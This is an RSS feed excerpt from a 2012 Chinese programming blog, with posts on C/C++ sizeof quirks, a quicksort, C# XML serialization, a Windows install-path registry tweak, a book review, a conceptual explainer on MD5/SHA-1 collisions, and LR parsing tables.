      <link>http://blog.leaver.me/2012/05/22/c-c-%E4%B8%ADsizeof%E8%BF%94%E5%9B%9E%E5%80%BC%E4%B8%8D%E5%90%8C/</link>
      <pubDate>Tue, 22 May 2012 11:28:27 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/22/c-c-%E4%B8%ADsizeof%E8%BF%94%E5%9B%9E%E5%80%BC%E4%B8%8D%E5%90%8C/</guid>
      <description>&lt;p&gt;问题:
A character array is defined globally and a structure with same name is defined within a function.
一个字符数组被定义为全局变量，一个相同名字的结构体被定义在一个函数内部。&lt;/p&gt;
&lt;p&gt;Why sizeof operator returns different values for c &amp;amp; c++ ?
为什么sizeof操作符对于C和C++返回了不同的值呢？&lt;/p&gt;
&lt;pre lang=&#34;c&#34;&gt;char S[13];
void fun()
{
    struct S
    {
        int v;
    };
    int v1 = sizeof(S);
}
// returns 4 in C++ and 13 in C&lt;/pre&gt;
&lt;p&gt;答案：
Because in C++, the struct you defined is named S, while in C,
因为在C++中，你定义的结构体的名称是S，而在C中，&lt;/p&gt;
&lt;p&gt;it&amp;rsquo;s named struct S (which is why you often see typedef struct used in C code).
他叫做struct S（这也是为什么我们可以经常看到typedef struct 被用在C代码中）。&lt;/p&gt;
&lt;p&gt;In C, to refer to the struct type, you need to say struct S. Therefore, sizeof(S) refers to the array.
在C中，引用一个结构类型的时候，你必须说struct S，因此，sizeof（S）调用的是数组S。&lt;/p&gt;
&lt;p&gt;In C++, struct is unnecessary. So the local S hides the global S.
在C++中，struct这个字不是必需的，所以局部变量S隐藏了全局变量S。&lt;/p&gt;
&lt;p&gt;If you were to change the code to the following, you would get the expected results:
如果你把代码改成下面的样子，你就能得到你期望的结果了。&lt;/p&gt;</description>
    </item>
    <item>
      <title>为什么sizeof(str.substr(0,3).c_str())=8?</title>
      <link>http://blog.leaver.me/2012/05/21/%E4%B8%BA%E4%BB%80%E4%B9%88sizeofstr.substr03.c_str8/</link>
      <pubDate>Mon, 21 May 2012 06:59:09 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/21/%E4%B8%BA%E4%BB%80%E4%B9%88sizeofstr.substr03.c_str8/</guid>
      <description>&lt;p&gt;问题：
&lt;code&gt;string str = &amp;quot;abcdefgdcb&amp;quot;; cout &amp;amp;lt; &amp;amp;lt; sizeof(str.substr(0,3).c_str());&lt;/code&gt;
For some reason, the above string is giving me 8. I assumed c_str() returns a null string,
由于某些原因，上面的这个字符串得到的结果是8，我估计c_str()返回了一个null，&lt;/p&gt;
&lt;p&gt;and sizeof uses the null to determine the size of the string.
并且sizeof函数使用这个null来定义这个字符串的大小。&lt;/p&gt;
&lt;p&gt;答案：
Because sizeof doesn&amp;rsquo;t give you the length of a string,
因为sizeof给你的不是一个字符串的长度，&lt;/p&gt;
&lt;p&gt;it gives you the size of the type (const char * in this case). Try strlen.
他给你的是这个类型的大小（这种情况下的类型是c_str()返回的const char*类型），想要得到正确的结果，试试strlen函数吧。&lt;/p&gt;
&lt;p&gt;On your system, sizeof (const char &lt;em&gt;) == 8, like any other pointer.
在你的系统上，sizeof(const char&lt;/em&gt;)=8,和其他所有的指针类型一样。&lt;/p&gt;
&lt;p&gt;8 is the size of a pointer on your machine (64-bit)
8是在你的64位电脑上一个指针的大小&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s your problem. sizeof tells you the size of a variable,
别乱假设，sizeof告诉你一个变量的大小，&lt;/p&gt;
&lt;p&gt;which has nothing to do with the value inside the variable, ever.
他不会进入变量里面对变量做任何改变的。。永远不会。&lt;/p&gt;
&lt;p&gt;问题:&lt;a href=&#34;http://stackoverflow.com/q/10668764/764869&#34;&gt;http://stackoverflow.com/q/10668764/764869&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>快速排序算法</title>
      <link>http://blog.leaver.me/2012/05/19/%E5%BF%AB%E9%80%9F%E6%8E%92%E5%BA%8F%E7%AE%97%E6%B3%95/</link>
      <pubDate>Sat, 19 May 2012 09:04:40 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/19/%E5%BF%AB%E9%80%9F%E6%8E%92%E5%BA%8F%E7%AE%97%E6%B3%95/</guid>
      <description>&lt;pre lang=&#34;c&#34;&gt;
#include &lt;iostream&gt;
using namespace std;

//化分区间,找到最后元素的排序位置。并返回分隔的点（即最后一数据排序的位置）。
//划分的区间是[nBegin, nEnd). pData是保存数据的指针
int Partition(int* pData, int nBeging, int nEnd)
{
                int i = nBeging - 1;    //分隔符号，最后nD保存在这里
                --nEnd;
                int nD = pData[nEnd]; //比较的数据。
                int nTemp; // 交换用的临时数据

                //遍历数据比较，找到nD的位置，这里注意，比较结果是,
                //i的左边是小于等于nD的，i的右边是大于nD的
                for (int j = nBeging; j &lt; nEnd; ++j)
                {
                                if (pData[j] &lt;= nD)        //如果数据比要比较的小，则在该数据的左边，与i+1交换
                                {
                                                ++i;                //小于nD的数据多一个，所以要加1，i的左边数据都比nD小
                                                nTemp = pData[i];    //交换数据
                                                pData[i] = pData[j];
                                                pData[j] = nTemp;
                                }
                }

                //最后不要忘了吧nD和i+1交换，因为这里就是nD的位置咯。
                ++i;
                pData[nEnd] = pData[i];
                pData[i] = nD;

                return i;   //返回nD的位置，就是分割的位置。
}

//排序的递归调用。
int QuickSortRecursion(int* pData, int nBeging, int nEnd)
{
                if (nBeging &gt;= nEnd -1)        //如果区域不存在或只有一个数据则不递归排序
                {
                                return 1;
                }

                //这里因为分割的时候，分割点处的数据就是排序中他的位置。
                //也就是说他的左边的数据都小于等于他，他右边的数据都大于他。
                //所以他不在递归调用的数据中。
                int i = Partition(pData, nBeging, nEnd);        //找到分割点
                QuickSortRecursion(pData, nBeging, i);            //递归左边的排序
                QuickSortRecursion(pData, i + 1, nEnd);            //递归右边的排序
                return 1;
}

//快速排序
int QuickSort(int* pData, int nLen)
{
                //递归调用，快速排序。
                QuickSortRecursion(pData, 0, nLen);
                return 1;
}
int main()
{
                int nData[10] = {5,9,3,2,1,6,20,45,88,75};        //测试数据
                QuickSort(nData, 10);            //调用快速排序
                for (int i = 0; i &lt; 10; ++i)        //输出结果
                {
                                cout&lt;&lt;nData[i]&lt;&lt;&#34; &#34;;
                }
                cout&lt;&lt;endl;

                return 0;
}
&lt;/pre&gt;</description>
    </item>
    <item>
      <title>对象数组的Xml序列化和反序列化</title>
      <link>http://blog.leaver.me/2012/05/18/%E5%AF%B9%E8%B1%A1%E6%95%B0%E7%BB%84%E7%9A%84xml%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</link>
      <pubDate>Fri, 18 May 2012 09:38:27 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/18/%E5%AF%B9%E8%B1%A1%E6%95%B0%E7%BB%84%E7%9A%84xml%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</guid>
      <description>&lt;p&gt;使用Serialization来进行序列化和反序列化，因此需要引入System.Xml.Serialization；命名空间。&lt;/p&gt;
&lt;p&gt;为什么要做序列化和反序列化？
.Net程序执行时，对象都驻留在内存中；内存中的对象如果需要传递给其他系统使用；或者在关机时需要保存下来以便下次再次启动程序使用就需要序列化和反序列化。&lt;/p&gt;
&lt;p&gt;本文的原始例子在参考文中，但是参考文中没有给出反序列化的例子，且xml文件不清晰。于是修改了代码，同时实现对象数组序列化和反序列化。&lt;/p&gt;
&lt;pre lang=&#34;java&#34;&gt;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml.Serialization;
using System.IO;

namespace UseXmlSerialization
{
    class Program
    {
        static void Main(string[] args)
        {
            //声明一个猫对象
            var cWhite = new Cat { Color = &#34;White&#34;, Speed = 10, Saying = &#34;I am a good WHITE cat&#34; };
            var cBlack = new Cat { Color = &#34;Black&#34;, Speed = 10, Saying = &#34;I am a good BLACK cat&#34; };

            CatCollection cc = new CatCollection { Cats = new Cat[] { cWhite, cBlack } };

            //序列化这个对象
            XmlSerializer serializer = new XmlSerializer(typeof(CatCollection));

            StringWriter sw = new StringWriter();
            serializer.Serialize(sw, cc);  //序列化到StringWriter对象sw里
            string strXml = sw.ToString();
            Console.WriteLine(&#34;对象数组序列化后：&#34;);
            Console.WriteLine(strXml);
            Console.WriteLine(&#34;xml反序列化后：&#34;);
            StringReader sr = new StringReader(strXml);
            CatCollection c2 = serializer.Deserialize(sr) as CatCollection;
            for (int i = 0; i &lt; 2; i++)  //验证xml文件是否已经被反序列化为对象数组
            {
                Console.WriteLine(&#34;I am Cat &#34; + i);
                Console.WriteLine(c2.Cats[i].Color);
                Console.WriteLine(c2.Cats[i].Saying);
                Console.WriteLine();

            }
        }
    }
    //以下为类定义
    [XmlRoot(&#34;Cats&#34;)]
    public class CatCollection
    {
        [XmlElement(&#34;Cat&#34;)]
        public Cat[] Cats { get; set; }
    }

    public class Cat
    {
        //定义Color属性的序列化为cat节点的属性
        [XmlAttribute(&#34;color&#34;)]
        public string Color { get; set; }

        //要求不序列化Speed属性
        [XmlIgnore]
        public int Speed { get; set; }

        //设置Saying属性序列化为Xml子元素
        [XmlElement(&#34;saying&#34;)]
        public string Saying { get; set; }
    }
}
&lt;/pre&gt;
&lt;p&gt;参考：
　　&lt;a href=&#34;http://www.cnblogs.com/yukaizhao/archive/2011/07/22/xml-serialization.html&#34;&gt;http://www.cnblogs.com/yukaizhao/archive/2011/07/22/xml-serialization.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>修改Windows系统软件默认安装路径</title>
      <link>http://blog.leaver.me/2012/05/17/%E4%BF%AE%E6%94%B9windows%E7%B3%BB%E7%BB%9F%E8%BD%AF%E4%BB%B6%E9%BB%98%E8%AE%A4%E5%AE%89%E8%A3%85%E8%B7%AF%E5%BE%84/</link>
      <pubDate>Thu, 17 May 2012 06:02:51 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/17/%E4%BF%AE%E6%94%B9windows%E7%B3%BB%E7%BB%9F%E8%BD%AF%E4%BB%B6%E9%BB%98%E8%AE%A4%E5%AE%89%E8%A3%85%E8%B7%AF%E5%BE%84/</guid>
      <description>&lt;p&gt;　　作为一个完全不能容忍windows默认程序都往C:\Program Files\目录里安装的人。每次安装软件的时候，都得手动一个个改到D:\Program Files里。安装软件多了。就hold不住了。&lt;/p&gt;
&lt;p&gt;　　其实可以通过注册表使得所有安装程序默认安装到其他盘的。将下列内容保存到一个文本文件里，命名为Mo.reg。然后运行即可。以后安装的程序就会默认安装到D盘的Program Files目录了。你也可以根据需要自行修改&lt;/p&gt;
&lt;p&gt;　　&lt;pre lang=&#34;c&#34;&gt;&lt;/p&gt;
&lt;p&gt;　　Windows Registry Editor Version 5.00&lt;/p&gt;
&lt;p&gt;　　;修改Windows系统软件默认安装路径&lt;/p&gt;
&lt;p&gt;　　[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion]&lt;/p&gt;
&lt;p&gt;　　&amp;ldquo;ProgramFilesDir&amp;rdquo;=&amp;ldquo;D:\Program Files&amp;rdquo;&lt;/p&gt;
&lt;p&gt;　　&lt;/pre&gt;
效果如下图，安装程序已经默认到D盘了
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21644_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a83d479db2c8d3fac56dc0dacca9fca7329d7c61.jpg&#34; title=&#34;w&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;update:已知后遗症，我在这样实践了以后，发现vs2010的.net framework 4将会丢失。也就是说就不能新建.net framework 4项目了，具体不明，可能是我当初把VS一部分安装到D盘的缘故，应该可以通过重新安装vs解决，如果你不想折腾。把注册表改回去就可以了。&lt;/p&gt;</description>
    </item>
    <item>
      <title>《亲密行为》书评</title>
      <link>http://blog.leaver.me/2012/05/16/%E4%BA%B2%E5%AF%86%E8%A1%8C%E4%B8%BA%E4%B9%A6%E8%AF%84/</link>
      <pubDate>Wed, 16 May 2012 07:12:46 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/16/%E4%BA%B2%E5%AF%86%E8%A1%8C%E4%B8%BA%E4%B9%A6%E8%AF%84/</guid>
      <description>&lt;p&gt;　　首先说说感受。本书是《裸猿》三部曲之一，因为貌似是属于人类学和社会学的部分，更多的讨论了人类亲密行为的原因，基本上归结在动物性上。认为很多亲密行为其实是婴儿时期对母亲的感受形成的。而作者德斯蒙德的确是一位非常伟大的生物学家和作家。强大的生物学就在轻松的仿似“洽谈”的文字间给予人一种神秘的力量。我们的祖先留给我们的生物本能被他很强大的讨论了。但是。。如果你对人类这生物什么的完全没兴趣。比如像我。那么这本书就不用看了。纯粹是浪费时间。如果你是初为人母或是初为人父，那么前几章都可以看，了解一下婴儿的行为，可以更好的育儿。。观点如有偏颇。请海涵。&lt;/p&gt;
&lt;p&gt;　　然后给出一些摘抄吧，&lt;/p&gt;
&lt;p&gt;　　摇动婴儿以每分钟60-70下的速度可以减少婴儿的啼哭。&lt;/p&gt;
&lt;p&gt;　　教育孩子早期应该亲密，爱护，稍微大一点就可以放开一些。而不是想法。到了孩子大了的时候反而溺爱，即先爱后自由。&lt;/p&gt;
&lt;p&gt;　　用包裹婴儿的方式模拟子宫环境，但几个月后不宜过长。可能会阻碍他的肌肉和体格的发育。&lt;/p&gt;
&lt;p&gt;　　婴儿啼哭不仅仅是饥饿或是不舒服，有时候也是希望母亲到这里来。&lt;/p&gt;
&lt;p&gt;　　人类恋爱行为的几个阶段&lt;/p&gt;
&lt;p&gt;　　1.眼对身 2.眼对眼 3.话对话 4.手对手 5.臂对肩 6.臂对腰 7.嘴对嘴  8.手对头 9.手对身 10嘴对乳房 11手对生殖器 12，生殖器对生殖器&lt;/p&gt;
&lt;p&gt;　　一方面，科学研究沉重打击了我们何谓温馨关爱的亲密行为的观念，所以我们禁不住觉得反感；&lt;/p&gt;
&lt;p&gt;　　另一方面，我们生病时急忙到药房买药，并急忙吞药丸的时候，却尽量不去想那些信赖我们却被我们背叛的实验动物：它们遭受痛苦，但是给我们带来了防病治病的抗生素。
　　&lt;/p&gt;</description>
    </item>
    <item>
      <title>从hash函数到王小云的MD5破解</title>
      <link>http://blog.leaver.me/2012/05/15/%E4%BB%8Ehash%E5%87%BD%E6%95%B0%E5%88%B0%E7%8E%8B%E5%B0%8F%E4%BA%91%E7%9A%84md5%E7%A0%B4%E8%A7%A3/</link>
      <pubDate>Tue, 15 May 2012 13:26:14 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/15/%E4%BB%8Ehash%E5%87%BD%E6%95%B0%E5%88%B0%E7%8E%8B%E5%B0%8F%E4%BA%91%E7%9A%84md5%E7%A0%B4%E8%A7%A3/</guid>
      <description>&lt;p&gt;　　以前一直纳闷不是说md5是不可逆的吗，那王小云怎么能破解呢。看到此文，豁然开朗，所谓的破解只是可以获得一个碰撞，使得两个文件的md5值一样。并不是说给定一个md5，能够得到原文。&lt;/p&gt;
&lt;p&gt;　　密码学是理论计算机的一个很大的方向。之前准备先写密码学概论再提在hash函数破解上做出重大贡献的王小云教授的工作，不过前两天&lt;a href=&#34;http://www.cast.org.cn/n435777/n435799/n928596/n930124/35475.html&#34;&gt;王小云获得求是杰出科学家奖以及100万奖金&lt;/a&gt;，在媒体上又掀起了一轮宣传狂潮，但是有些报道极端弱智，错误百出，所以我趁机纠正一下，并介绍密码学的一个组成部分——hash函数，以及王小云在这上面的工作。&lt;/p&gt;
&lt;p&gt;　　王小云的主要工作是关于hash函数的破解工作。她在2005一个密码学会议上宣布破解了SHA-1，震惊了全世界。所以要介绍和理解她的工作，先看一下hash函数具体是怎么回事。&lt;/p&gt;
&lt;p&gt;　　简单的说，&lt;strong&gt;hash函数&lt;/strong&gt;就是&lt;span style=&#34;color: #ff0000;&#34;&gt;把任意长的输入字符串变化成固定长的输出字符串&lt;/span&gt;的一种函数。通俗得说，hash函数用来生成信息的摘要。输出字符串的长度称为hash函数的&lt;strong&gt;位数&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;　　目前应用最为广泛的hash函数是**&lt;a href=&#34;http://en.wikipedia.org/wiki/SHA_hash_functions&#34;&gt;SHA-1&lt;/a&gt;&lt;strong&gt;和&lt;/strong&gt;&lt;a href=&#34;http://en.wikipedia.org/wiki/Md5&#34;&gt;MD5&lt;/a&gt;**，大多是128位和更长。&lt;/p&gt;
&lt;p&gt;　　hash函数在现实生活中应用十分广泛。很多下载网站都提供下载文件的MD5码校验，可以用来判别文件是否完整。另外，比如在WordPress的数据库，所有密码都是保存的MD5码，这样即使数据库的管理员也无法知道用户的原始密码，避免隐私泄露（很多人在不同地方都是用的同一个密码）。&lt;/p&gt;
&lt;p&gt;　　如果两个输入串的hash函数的值一样，则称这两个串是一个&lt;strong&gt;碰撞&lt;/strong&gt;(&lt;strong&gt;Collision&lt;/strong&gt;)。既然是把任意长度的字符串变成固定长度的字符串，所以，必有一个输出串对应无穷多个输入串，碰撞是必然存在的。&lt;/p&gt;
&lt;p&gt;　　一个“优良”的hash函数 _f _应当满足以下三个条件：　&lt;/p&gt;
&lt;p&gt;　　1.任意y，找x，使得f(x)=y，非常困难。&lt;/li&gt;
　　2.给定x1，找x2，使得f(x1)=f(x2)，非常困难。&lt;/li&gt;
　　3.找x1，x2，使得f(x1)=f(x2)，非常困难。&lt;/li&gt;&lt;/p&gt;
&lt;p&gt;　　上面的“非常困难”的意思是除了枚举外不可能有别的更快的方法。比如第3条，根据&lt;a href=&#34;http://en.wikipedia.org/wiki/Birthday_paradox&#34;&gt;生日定理&lt;/a&gt;，要想找到这样的x1，x2，理论上需要大约2^(n/2)的枚举次数。&lt;/p&gt;
&lt;p&gt;　　几乎所有的hash函数的破解，都是指的破坏上面的第三条性质，即找到一个碰撞（前两条都能被破坏的hash函数也太弱了点，早就被人抛弃了）。在密码学上还有一个概念是&lt;strong&gt;理论破解&lt;/strong&gt;，指的是提出一个算法，使得可以用低于理论值得枚举次数找到碰撞。&lt;/p&gt;
&lt;p&gt;　　王小云的主要工作是给出了MD5，&lt;a href=&#34;http://en.wikipedia.org/wiki/SHA_hash_functions&#34;&gt;SHA-0&lt;/a&gt;的碰撞，以及SHA-1的理论破解，她证明了160位SHA-1，只需要大约2^69次计算就能找出来，而理论值是2^80次。她的寻找MD5碰撞的方法是极端高效的。传说王小云当时在会议上把碰撞写出来，结果被下面的人验证发现不对，原来她把MD5算法的一个步骤弄错了。但是她立马联系她的当时留在中国的学生，修正算法，并找到一个新的碰撞。这一个是对的。&lt;/p&gt;
&lt;p&gt;　　看到这里，那些认为中国国安局应该将这些结果封存作为秘密武器甚至幻想用这些成果来袭击美国之徒可以停住你们的YY了。这种形式上的破解，在大多数情况下没有实际性的作用。更别提MD5早就被美国人抛弃了。&lt;/p&gt;
&lt;p&gt;　　但是，说这种破解一点实际意义都没有，那就侮辱了广大密码学家的智商，密码学家不会无缘无故的弄出碰撞这么一个概念来。下面简单的介绍一下在特定情况下，怎么利用给定的碰撞来做坏事(翻译自&lt;a href=&#34;http://th.informatik.uni-mannheim.de/people/lucks/HashCollisions/&#34;&gt;Attacking Hash Functions&lt;/a&gt;)：&lt;/p&gt;
&lt;p&gt;　　Caesar给实习生Alice叫写了一封推荐信(letter)。同一天，Alice叫Caesar在推荐信上数字签名，并提供了一份推荐信的电子板。Caesar打开文件，发现和原件一模一样。所以他在文件上签了名。&lt;/p&gt;
&lt;p&gt;　　几个月后，Caesar发现他的秘密文件被非法察看。这到底是怎么回事呢？&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.cits.rub.de/imperia/md/content/magnus/letter_of_rec.ps&#34;&gt;&lt;img alt=&#34;letter&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/867e9ee66a7ab1aed4342dcb1a98489a6ab17134.png&#34;&gt; &lt;/a&gt;&lt;a href=&#34;http://www.cits.rub.de/imperia/md/content/magnus/order.ps&#34;&gt;&lt;img alt=&#34;order&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1a84f3c37a7c98c13605362aa25991c19b6d2d7b.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　&lt;img alt=&#34;(apply MD5 to both documents)&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/bf67e539f3da6867fc8a9070b940b83ff6daed5d.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;　　a25f7f0b 29ee0b39 68c86073 8533a4b9&lt;/p&gt;
&lt;p&gt;　　事实上，Alice要求Caesar签名的文件&lt;a href=&#34;http://www.cits.rub.de/imperia/md/content/magnus/letter_of_rec.ps&#34;&gt;letter&lt;/a&gt;已经被Alice做了手脚，准确地说，Alice还准备了另外一个文件&lt;a href=&#34;http://www.cits.rub.de/imperia/md/content/magnus/order.ps&#34;&gt;order&lt;/a&gt;，它们的MD5码完全一致。而Caesar的数字签名还依赖于MD5算法，所以Alice用order文件替换Letter文件之后，Caesar的数字签名依然有效。那封order给Alice提供了察看秘密文件的权限。&lt;/p&gt;
&lt;p&gt;　　具体的实现方法可见&lt;a href=&#34;http://www.cits.rub.de/imperia/md/content/magnus/rump_ec05.pdf&#34;&gt;Hash Functions and the Blind Passenger Attack&lt;/a&gt;。我在这里简单的解释一下(只是大致思路，具体实现方式，需要对文件结构信息有所了解)：&lt;/p&gt;
&lt;p&gt;　　letter文件的内容是：
　　　　if(x1==x1) show &amp;ldquo;letter&amp;rdquo; else show &amp;ldquo;order&amp;rdquo;
　　order文件的内容是：　　　
　　　　if(x2==x1) show &amp;ldquo;letter&amp;rdquo; else show &amp;ldquo;order&amp;rdquo;
　　其中字符串&amp;quot;letter&amp;quot;和&amp;quot;order&amp;quot;代表两封信实际显示的内容。x1，x2是一个MD5的碰撞。&lt;/p&gt;
&lt;p&gt;　　上面的方法，只供参考和学术用途，实际使用所引起的后果概不负责。　　
　　参考：
　　１.&lt;a href=&#34;http://th.informatik.uni-mannheim.de/people/lucks/HashCollisions/&#34;&gt;Attacking Hash Functions by Poisoned Messages &amp;ldquo;The Story of Alice and her Boss&amp;rdquo;&lt;/a&gt;
　　２.&lt;a href=&#34;http://en.wikipedia.org/wiki/Hash_function&#34;&gt;Hash function&lt;/a&gt;, wikipedia　
　　３.&lt;a href=&#34;http://en.wikipedia.org/wiki/SHA_hash_functions&#34;&gt;SHA&lt;/a&gt;, wikipedia
　　４.Interview with Yiqun Lisa Yin concerning the attack on SHA-1　&lt;/p&gt;
&lt;p&gt;　　原文来自：&lt;a href=&#34;http://zhiqiang.org/blog/science/computer-science/preliminary-computer-theory-xiao-yun-wang-from-the-hash-function-to-crack-md5.html&#34;&gt;http://zhiqiang.org&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>一个简单实例的LR分析过程</title>
      <link>http://blog.leaver.me/2012/05/14/%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E5%AE%9E%E4%BE%8B%E7%9A%84lr%E5%88%86%E6%9E%90%E8%BF%87%E7%A8%8B/</link>
      <pubDate>Mon, 14 May 2012 11:38:49 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/14/%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E5%AE%9E%E4%BE%8B%E7%9A%84lr%E5%88%86%E6%9E%90%E8%BF%87%E7%A8%8B/</guid>
      <description>&lt;p&gt;　　经过前面两篇文章。已经讲清楚了LR语法分析中最重要的分析表的构造过程。先补充一个小问题，就是LR(0)项目的分类&lt;/p&gt;
&lt;p&gt;　　根据圆点所在的位置和圆点后是终结符还是非终结符或为空把项目分为以下几种：&lt;/p&gt;
&lt;p&gt;　　移进项目： 形如 A→α .a β ，a是终结符, a ,b∈V* 以下同
　　待约项目：A→α .B β , 其中B是非终结符　
　　归约项目：A→α . 表明产生式已分析完成。　
　　接受项目：形如 S’→S .　　
　　特别的。A→ε的LR(0)项目只有A→ • 是归约项目&lt;/p&gt;
&lt;p&gt;　　因为LR分析表的构造前面两篇文章已经讲的很清楚了，所以这个题目重要是解释一下如何使用分析表来构造，分析表的构造也许你得自己参考前面两篇文章来构造了。题目来自网络。&lt;/p&gt;
&lt;p&gt;　　好，下面看题目，已知文法G[S]：&lt;/p&gt;
&lt;p&gt;　　(1) S → aAcBe
　　(2) A → b　
　　(3) A → Ab　　
　　(4) B → d&lt;/p&gt;
&lt;p&gt;　　写出对输入串 abbcde#的LR分析 过程。&lt;/p&gt;
&lt;p&gt;　　在分析的时候，因为我们的手工分析，所以还需要一个表来记录我们的步骤。否则记不住啊。该表共需7列。行数不定。做到哪是哪。&lt;/p&gt;
&lt;p&gt;　　&lt;pre lang=&#34;php&#34;&gt; 步骤   符号栈   输入符号栈     动作   状态栈    ACTION    GOTO &lt;/pre&gt;&lt;/p&gt;
&lt;p&gt;　　其中，步骤就是从1向下递增。符号栈用来保存运算中的结果，初始为#，输入符号栈保存输入串，初始值为给定的。动作里面就是用来注释是进行移进，还是规约。状态栈就是保持LR分析表的那个状态了。Action 和Goto同理&lt;/p&gt;
&lt;p&gt;　　通过前两篇文章的步骤，此题可以构造出如下的一张LR分析表&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21467_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5b2465bb8d435fab286faf6634217380656ce008.jpg&#34; title=&#34;lr分析表&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　分析表中有Si和rj大家都知道的。s是shift的缩写，也就是移进，r是reduce的缩写，也就是规约。规约是推导的逆操作，大家都懂。&lt;/p&gt;
&lt;p&gt;　　先来看看在进行分析的时候s和j操作的规则&lt;/p&gt;
&lt;p&gt;　　Si:移进，把i移入到状态栈，把a移入到文法符号栈。其中i，j表示状态号。&lt;/p&gt;
&lt;p&gt;　　ri:归约，用第i个产生式归约，同时状态栈与符号栈退出相应个符号，并把GOTO表相应状态和第i个产生式的左部非终结符入栈。&lt;/p&gt;
&lt;p&gt;　　文法中有A→β的产生式，若β的长度为r(即|β|=r)，则从状态栈和文法符号栈中自栈顶向下去掉r个符号，即栈指针P减去r。并把A移入文法符号栈内，Sj=GOTO[Si，A]移进状态栈，其中Si为修改指针后的栈顶状态。&lt;/p&gt;
&lt;p&gt;　　当归约到文法符号栈中只剩文法的开始符号S时，并且输入符号串已结束即当前输入符是&amp;rsquo;#&amp;rsquo;，则为分析成功。&lt;/p&gt;
&lt;p&gt;　　然后使用我们将要使用的辅助表来分析吧，为了简单。我还是直接给出答案。然后分析一下典型的情况。&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21466_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d6565babf03f2f230fb9d8933518bc1cb55bf7cc.jpg&#34; title=&#34;分析结果&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　第一步，符号栈中是#，输入符号串就是给定的要分析的串，状态栈因为从0开始，所以状态栈直接填0，大家都知道，LR分析是从左到右扫描的。所以心里想着一根指针p，p首先指向输入串的a，然后我们查分析表的（0，a）,0就是状态0，a就是指针的当前字符。分析表中的（0，a）是s2，填入第一步的action，并且动作列填入移进，根据规则，将2入状态栈，a入符号栈，&lt;/p&gt;
&lt;p&gt;　　进入第二步，指针p肯定要前进一步了，所以输入符号串就进入b了。此步同上一步，不多解释。&lt;/p&gt;
&lt;p&gt;　　关键是进入第三步后，此时，符号栈中为#ab，输入符号串是bcde#，状态栈是024，此时去查表，差的是（4，b），4是状态栈顶，b是p指针的当前位置。发现是r2，根据规则，用第二条产生式(2) A → b来规约。把动作栏先填了，同时状态栈与符号栈退出相应个符号，也即是说，把状态栏的栈顶4，退出来，同时符号栈的b也退出，心里想着，不填表，并把GOTO表相应状态和第i个产生式的左部非终结符入栈。Goto表需要查的是(2,A)=3,2是r2的2，A是第二个产生式的左部嘛。所以，就把3入状态栈，A入符号栈。&lt;/p&gt;
&lt;p&gt;　　后面的都是一样的。不解释了。要想学懂编译原理。多动手是必需的。你也手工试试吧。&lt;/p&gt;
&lt;p&gt;参考：
　　 &lt;a href=&#34;http://leaver.me/archives/574.html&#34;&gt;http://leaver.me/archives/574.html&lt;/a&gt;
　　 &lt;a href=&#34;http://leaver.me/archives/548.html&#34;&gt;http://leaver.me/archives/548.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>LR(0)和SLR分析表的构造</title>
      <link>http://blog.leaver.me/2012/05/13/lr0%E5%92%8Cslr%E5%88%86%E6%9E%90%E8%A1%A8%E7%9A%84%E6%9E%84%E9%80%A0/</link>
      <pubDate>Sun, 13 May 2012 10:45:13 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/13/lr0%E5%92%8Cslr%E5%88%86%E6%9E%90%E8%A1%A8%E7%9A%84%E6%9E%84%E9%80%A0/</guid>
      <description>&lt;p&gt;　　&lt;a href=&#34;http://leaver.me/archives/548.html&#34;&gt;上篇文章中&lt;/a&gt;，我已经说到了，LR(0)分析表是LR(0)分析器的重要组成部分，它是总控程序分析动作的依据，他是由LR(0)项目集规范族来进行构造的。他的结构主要有两个部分ACTION 和GOTO&lt;/p&gt;
&lt;p&gt;　　先看看指导原则，可以直接跳过，看例题的时候可以返回来对照参考。&lt;/p&gt;
&lt;p&gt;　　假设已构造出LR(0)项目集规范族为：C={I0,I1, … , In}，其中Ik为项目集的名字，k为状态名，令包含S′→·S项目的集合Ik的下标k为分析器的初始状态。那么分析表的ACTION表和GOTO表构造步骤为：&lt;/p&gt;
